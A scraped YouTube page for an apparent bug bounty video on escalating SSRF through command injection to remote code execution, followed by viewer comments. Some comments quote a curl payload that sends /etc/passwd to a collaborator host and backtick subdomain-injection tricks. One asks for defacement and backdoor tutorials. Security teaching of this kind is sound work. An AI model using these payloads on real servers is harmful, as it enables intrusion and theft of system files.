From a lame Server-Side Request Forgery to Remote Code Execution

แชร์
ฝัง
  • เผยแพร่เมื่อ 9 ส.ค. 2024
  • Welcome to this bug bounty write-up where I show you how I found a Server-Side Request Forgery vulnerability (SSRF). Then, I will explain how I was able to escalate it to obtain a Remote Code Execution (RCE). Finally, you will see how it is possible to gain a full SSH shell on the vulnerable server.
    Read more on thehackerish.com/bug-bounty-w...
    📙 Become a successful bug bounty hunter: thehackerish.com/a-bug-bounty...
    🆓 Download your FREE Web hacking LAB and starting hacking NOW: thehackerish.com/owasp-top-10...
    🌐 Read more on the blog: thehackerish.com
    💪🏻 Support this work: thehackerish.com/how-to-support
    - Facebook Page: / thehackerish
    - Follow us on Twitter: / thehackerish
    - Listen on Anchor: anchor.fm/thehackerish
    - Listen on Spotify: open.spotify.com/show/4Ht8jEb...
    - Listen on Google Podcasts: podcasts.google.com/?feed=aHR...
    Chaining vulnerabilities can be devastating. In this bug bounty write-up, you learn how to combine both SSRF and Command injection to achieve Remote Code Execution on the vulnerable server. Besides, you learn how to gain a stable shell by leveraging the exposed SSH server. Finally, you learn that it's important to demonstrate a clear impact if you want to receive the highest bounty.

ความคิดเห็น • 94

  • @SB-rf2ye
    @SB-rf2ye 3 ปีที่แล้ว +1

    That's effin' diabolical mate. Great explanation! Really enjoying your channel.

  • @arpeetrathi
    @arpeetrathi 4 ปีที่แล้ว

    Was simple, but never thought about it. Thanks for it!

  • @goodboy8833
    @goodboy8833 4 ปีที่แล้ว

    I love this Channel, he does very elegant, explicit demonstration, hope u post more videos on ssrf and xss

  • @arjunpeter9614
    @arjunpeter9614 3 ปีที่แล้ว

    Marvelous explain 👍 keep doing, bro

  • @msalih
    @msalih ปีที่แล้ว

    Hi! Thanks for the awesome content.

  • @emilioastier
    @emilioastier 3 ปีที่แล้ว

    great video. thank you very much for the content and the teaching

    • @thehackerish
      @thehackerish  3 ปีที่แล้ว

      Thank you for your kind feedback, Enjoy!

  • @01zoso
    @01zoso 4 ปีที่แล้ว +1

    Great video, thanks for sharing 👍

  • @KushChoudhary
    @KushChoudhary 3 ปีที่แล้ว

    Super Amazing! Thankyou! :)

  • @dhilipsanjay
    @dhilipsanjay 4 ปีที่แล้ว

    Great explanation!!

  • @sushantdhopat
    @sushantdhopat 3 ปีที่แล้ว +1

    Learn something new methodology thank for the amazing vedio 😍

  • @rohanrajgupta3614
    @rohanrajgupta3614 3 ปีที่แล้ว

    You are amazing man. Love yaa ❣️

  • @densi97
    @densi97 4 ปีที่แล้ว +2

    great video! If you already have access to your target, do you also look for privilege escalation to receive more bounties or do you think your work is done after initial access?

    • @thehackerish
      @thehackerish  4 ปีที่แล้ว +3

      Great question. I reported it and asked them if they want me to escalate my privileges, but they preferred to quickly fix it.

    • @densi97
      @densi97 4 ปีที่แล้ว

      @@thehackerish thanks for the quick reply. Good idea to first ask for permission :)

    • @francisdonald4298
      @francisdonald4298 2 ปีที่แล้ว

      @@thehackerish hey bro your work is good u help us learn but can you please show example of request and how you add command injection since i find it harder ot do you put commands then dot burpcollaborator without quotes to the burp addrress???

  • @mcgyver5
    @mcgyver5 3 ปีที่แล้ว +1

    Great find! I've subscribed. The slide at 6:09 has "mycollab-server" twice. `curl -F ‘@/etc/passwd’ mycollab-server`.mycollab-server Do I understand correctly that you need to have it twice so that the .mycollab-server string at the end conforms it to what looks like a valid host name? If this is the case will your server receive two requests out of that one payload? and could the second "mycollab-server" just as well be example.com or anything else?

    • @thehackerish
      @thehackerish  3 ปีที่แล้ว +1

      You have a sharp eye, Great question!
      Since the content of passwd does not comply with a hostname name, the request will not be performed. However, the first one will exfiltrate the passwd to your server, which could be anything else as long as it is reachable from the internet.
      If you want to receive the content in the subdomain part, you could base64 encode the file content, or a part of it.

    • @mcgyver5
      @mcgyver5 3 ปีที่แล้ว

      @@thehackerish I get it! Thanks for your fast reply here almost a year after you posted it.

  • @hdphoenix29
    @hdphoenix29 3 ปีที่แล้ว

    Great Finding ! congrats

  • @0x_hacks
    @0x_hacks 5 หลายเดือนก่อน

    Great

  • @charchitsharma4559
    @charchitsharma4559 4 ปีที่แล้ว +7

    That's a great find.. learned something new today.✌️

    • @thehackerish
      @thehackerish  4 ปีที่แล้ว +1

      Happy to hear that!

    • @francisdonald4298
      @francisdonald4298 2 ปีที่แล้ว

      @@thehackerish example where do u put commands outside the the quotes of server address or??

  • @adamproof3440
    @adamproof3440 4 ปีที่แล้ว +1

    This is stunning :o
    were the payloads are shown in the video the used or you just wrote them for explaination ?? if none please share'em wih resources & thanks a lot

    • @thehackerish
      @thehackerish  4 ปีที่แล้ว +2

      the injection was the same. Just replaced the long collaborator URL with a short one for visual purposes.

    • @adamproof3440
      @adamproof3440 4 ปีที่แล้ว +1

      @@thehackerish wow, that's really cool, Thanks for your replies and the (very) awesome content :)

    • @thehackerish
      @thehackerish  4 ปีที่แล้ว +1

      @@adamproof3440 My pleasure! Thanks for your kind comment!

  • @Free.Education786
    @Free.Education786 3 ปีที่แล้ว +1

    Thank you brother. You and your channel is world best channel who teaches noobes from 0 2 h3r0. Love U Respect U Salute U 🤝❤💙💚💐👍

    • @thehackerish
      @thehackerish  3 ปีที่แล้ว

      Oh! What a kind comment! I am humbled, Enjoy!!!

  • @e1Pr0f3ss0r
    @e1Pr0f3ss0r 3 ปีที่แล้ว

    Great explaination...plz include screenshots for this type of content

    • @thehackerish
      @thehackerish  3 ปีที่แล้ว

      It's meant to be a sleep story ;) Just kidding.

  • @neetech3716
    @neetech3716 4 ปีที่แล้ว +1

    Wow Great Suff 👍👍

  • @guilhemrioux2275
    @guilhemrioux2275 3 ปีที่แล้ว

    Hey nice video ! I'm wondering, if you have enter: 'domain.com; whoami' for the command injection part, it would've worked too right ? Or did they sanitize input weirdly ? Thks

    • @thehackerish
      @thehackerish  3 ปีที่แล้ว

      I think it would work. Actually, I might have used it to chain multiple commands, I don't remember exactly though.

  • @ashisbanerjee4584
    @ashisbanerjee4584 4 ปีที่แล้ว +1

    Really mindblowing ,owwssaaammmmm

  • @astitvavarma1079
    @astitvavarma1079 3 ปีที่แล้ว

    really interesting video

  • @chaitanyacse3332
    @chaitanyacse3332 4 ปีที่แล้ว

    Loved it..! thanks🤘

    • @thehackerish
      @thehackerish  4 ปีที่แล้ว

    • @chaitanyacse3332
      @chaitanyacse3332 4 ปีที่แล้ว

      @@thehackerish what if the input accepts anything after prefix only? I mean if no it throws an error..any bypass for exfiltrating metadata? (#blindssrf)🙂

    • @thehackerish
      @thehackerish  4 ปีที่แล้ว

      @@chaitanyacse3332 In this case you can still do `inject here`.collaborator.. since this story is basically a command injection.

    • @chaitanyacse3332
      @chaitanyacse3332 4 ปีที่แล้ว

      @@thehackerish tried the same too but its not accepting `` these quotes. Any other bypasses 😉

  • @zacwesleybrown
    @zacwesleybrown 3 ปีที่แล้ว +2

    Isn't this more similar to just plain command injection? I get that it was making requests to a server but SSRF usually accesses internal services eg a Redis database which I'm sure you could have done but injecting a command into what I assume is them running a curl command on the backend seems more similar to just plain old command injection. This isn't really a usual scenario that you would encounter.

    • @thehackerish
      @thehackerish  3 ปีที่แล้ว

      Yeah I agree on the command injection point, but the first impression you get is that it is a SSRF. However, you'd be surprised how devs can be careless, especially with deadlines and complicated architectures, so I wouldn't rule this technique out of my daily tests :)

  • @MrDarkeul
    @MrDarkeul 3 ปีที่แล้ว

    I d’ont understand why the server execute the command when you put ‘ in the url, it is standard ? Thx by advance

    • @thehackerish
      @thehackerish  3 ปีที่แล้ว

      it's one of the ways to execute commands in Linux.

  • @Tchatarero36
    @Tchatarero36 ปีที่แล้ว

    Best Hacker ...

  • @kaeyasstudio985
    @kaeyasstudio985 3 ปีที่แล้ว

    SSTI - RCE tutorial :)

  • @KINGSTARR786
    @KINGSTARR786 3 ปีที่แล้ว

    `command`.collaborator.url >>>> URL NOT VALID ERROR😒

  • @antimatter6728
    @antimatter6728 3 ปีที่แล้ว

    Sir can you tell me how did you know that your command would work if you put it in subdomain part?

    • @thehackerish
      @thehackerish  3 ปีที่แล้ว +2

      I didn't! Hacking is all trial and error, reflex from experience, and some luck as well :) Just keep reading blogs, and learning new things.

    • @antimatter6728
      @antimatter6728 3 ปีที่แล้ว

      @@thehackerish can i know the name of the exploit im interested in reading about it

    • @thehackerish
      @thehackerish  3 ปีที่แล้ว

      @@antimatter6728 You mean CVE? I haven't filed one. But it's a command injection / SSRF vulnerability.

  • @AdityaFingerstyle
    @AdityaFingerstyle 4 ปีที่แล้ว

    So presumably, the host name you provided was run with a shell command - something like curl.
    Why would they choose to do that instead of making the request within the program (like with Axios if they're using Node backend)

    • @thehackerish
      @thehackerish  4 ปีที่แล้ว

      Good question! They were not using using any framework and the dev made the mistake of trusting the hostname during a ssh command.

  • @souhaillepacifique7572
    @souhaillepacifique7572 4 ปีที่แล้ว +2

    Thank you so much bro ❤❤

  • @tanercoder1915
    @tanercoder1915 4 ปีที่แล้ว +3

    practical part for this vuln using your lab setup? wink-wink :D

  • @jitusaini6896
    @jitusaini6896 3 ปีที่แล้ว

    Can you upload a practical video on it ???

    • @thehackerish
      @thehackerish  3 ปีที่แล้ว

      When I have time, I can prepare a lab for it.

    • @jitusaini6896
      @jitusaini6896 3 ปีที่แล้ว

      Thank you

  • @SumherShankal
    @SumherShankal 3 ปีที่แล้ว

    Nice work
    Note:
    ‘pwd’.mycollaborator-url
    Will be needed to locate the users home folder 📁 path 🤔

    • @thehackerish
      @thehackerish  3 ปีที่แล้ว +1

      As it was a service, that didn't show /home/xxx, but nice idea as well.

  • @bigboss_6055
    @bigboss_6055 2 ปีที่แล้ว

    Brother you teaching is nice . But teach with some examples of site or with vulnerable site. we can understand clearly 🤝

    • @thehackerish
      @thehackerish  2 ปีที่แล้ว

      Head over to the other playlists (web hacking training and live hacking sessions)

  • @sontapaa11jokulainen94
    @sontapaa11jokulainen94 3 ปีที่แล้ว

    subbed.

  • @adtiyamuhammadakbar2711
    @adtiyamuhammadakbar2711 4 ปีที่แล้ว +1

    i dont understand how hackers can think payload like `command`.collaborator.url
    we really need so much creativity to be a hacker?

    • @thehackerish
      @thehackerish  4 ปีที่แล้ว

      think like a developer :) You can also build some software to get used to it!

    • @adtiyamuhammadakbar2711
      @adtiyamuhammadakbar2711 4 ปีที่แล้ว

      @@thehackerish i dont know how to do that im completely lost the way

    • @thehackerish
      @thehackerish  4 ปีที่แล้ว

      @@adtiyamuhammadakbar2711 there are many videos teaching how to build a web application :)

  • @fahadfaisal2383
    @fahadfaisal2383 2 ปีที่แล้ว

    How much bounty you got for this?

    • @thehackerish
      @thehackerish  2 ปีที่แล้ว

      It says it in the title. 4k

    • @fahadfaisal2383
      @fahadfaisal2383 2 ปีที่แล้ว

      @@thehackerish sorry bro i don't focus that !

  • @Free.Education786
    @Free.Education786 3 ปีที่แล้ว +1

    Please share how to use ACUNETIX results to exploit found vulnerabilities like SQLI XSS XSRF LFI RFI etc...bypassing WAF IDS IPS, Hash Recognition, Hash Cracking, Finding Hidden Admin Panels, bypassing admin panel or C-panels, Uploading Shell, Remote code execution-RCE, Rooting Web Server, Gain Root preveliage, Mass Defacement, Maintaining Back door, etc...

    • @thehackerish
      @thehackerish  3 ปีที่แล้ว +1

      Would love to, but I am not familiar with acunetix scanner. It should be similar to BurpSuite Pro I guess.

    • @Free.Education786
      @Free.Education786 3 ปีที่แล้ว +1

      @@thehackerish Yes exactly...no problem at all brother...teach us with any available tool script as per your convenience...you are excellent but I am very week in website hacking n website bug bounty hunting field as most of TH-cam videos are just basic...not practical n easy to understand....You are the best teacher...May God bless you for your efforts and help 🤝❤💙💚🌹💐👍

  • @laggybot1327
    @laggybot1327 3 ปีที่แล้ว

    `hi`

  • @anik6393
    @anik6393 3 ปีที่แล้ว

    Want to be ethical hacker then enrooll thehackerish❤️